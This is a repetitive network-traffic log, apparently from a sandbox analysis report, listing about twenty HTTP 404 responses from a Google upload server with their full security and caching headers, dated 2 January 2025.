Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7EiqmGWo6u3wOOHAJOk07R27OmXa99sZQaNQtDvsd6FJ30UpNTBuIMj9fk3jO4XPsLr-YCL8EContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:29 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-NkM4tmONKFNhnlZWf9YcUg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7WoGnRLAxEru3gag-WImpMF3U2K9nnql_A2JCsjelj2kiYa38EKCRAcHI6jxCZtu3lContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:30 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-o6VksPJmGP8_X1DOHwGWvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC65kUstxXeOjF8sM1r0oNFXtQrzlzpyuIBEXHdLeZNJyCJeXLUIOcnP_420xaYZIbJKt9F02h0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:31 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-xxPiv2lkPsuiIPcSxBwnEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Ro4JVAo6odYE_btJadwlkhf08XkhU3FuzCKb8e4Zqt5BNxyzuKi4cFhikDIE9kqPtContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:31 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-2rnlTksmwuQpr181fXn5PQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6lg1xsPNHpXXKIsszgf5z0Ldtxq9HsxMtWxvAlW6kBYckb4ByXD4bpe4WgCZx7iEI6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:32 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-vDqPN_pdAUFoGzj2xRl-9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC40GCkIyN9_aY3GUSyvicEQYptvl7OMrcI13PxE8HwY88Ba7CDWCVOdKTr6cboQmLhRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:32 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-JEx6ivYl13pkq8VQneBuKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4zAQNclDvBnZRsJwULxKEa_Zu3VRRT3x4e9Ge4RksFmVUEdRQVDHbupoYo61we8kJjContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:33 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-9LY7Amz67WxTDTaioSDaaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Bn91ShvCKOnvA2nc5LMQDtJ4es_b0p6Zd7DwB97jcj63hDWemdALNyfDHvyQfPQoTContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:33 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-7anU_qSP5HI5xxYOwuoShw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4wVedlpkaG_dbVA5MGNrGsxkrtI3VUo-PV-Y298qV-CoCPK8mNGyrzgOiMoTFubMZ7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:36 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-gSPNMRrq_-jyg9Hpmt9iaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6SMpTgOy-V8fe8M5pH5RQ3psv4c-jA70iOrDKYH9oUf5VPfHhcWqyXOlmwpn6lqNvot_H47W4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:36 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-IvLNys1FraPV7GFUIEXkjQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7MIruE5u0yZGx3Cld-XHjUXtYaDHhhWGx2z1541y84P51KxYv1veXIxqfXEfpTHPQaContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:37 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Z0FlE0jUxALa3MxaKAdC5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4NXBb5G-tpnjG4rbiuQm1nQWDpQH2IyjQTbPRi-ltw_1R12hM5PVyrND5-AiS_D51NContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:37 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-N7NB5TdeqiWCWLhJ3FHo-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7VR1k5fobcL-9TDd8UwJMxrB1FAYsGF12yjR92xbIVaPCHGUoWmxq1OgKzqTdXWMcxNnK83NoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:38 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-x6GjNmnP7ALSMhnYl_09kw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4s_AagaFCV_oq5RG37Z9w4JXaYrPd-OeSaS8xsIKW63OkILJCT66wNyD2b3tYxmrieContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:39 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jv2aMZcWgOxXl9PO1MgWDw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ouWoaC7ZbLL-hkR5BDuHZQMtBBBxmF40xjktqrw7udtlp5bpER8-PrDgWpjK7omaoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:40 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-diMPB1OPjEN_D2wiSZmB5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5YITbJ_r72_PbVRXdNlRSJoltqwahAeNpqTtEhIFa2rBKcSm7xvgt4-rit08uY2cmJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:40 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-qhD2rFVJHpfHTGOW32l6zQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC63bx5mZxmcD7zSbgVDFu5A20QXqNtiN0KJ1mPmYR5RxQ9N75biQyM8aLYXimha1w0zMjq1IoIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:41 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-gXW_lj38bw5BtEulV5yscQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5MgGJQRQXlQjT6GVDMNh_v0VBUThTSqyIbiBkqWx_fskHMfBfqac0wTvIJo8MyimMgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:41 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-HondmmEYIiegq1YXQlXyag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC71KqE5dZz9kfyo_Fqaj1yJezg48pAqc0Txe6gNDt9ZCOG2PRC5Uthqv-9Ce0Lq3yhtfJAYw28Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:44 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-QLBZF-eAs8lMJUR8RpwrQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4qOrwYNiBMC4Qoo2YWLjvMvwfcDdwLKziPyCga0nh7WLzyHuQ-S2SfmfiJaK9LuuwkVkRq31IContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:44 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-us0WlYQY1btY_F-Lsk8egQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
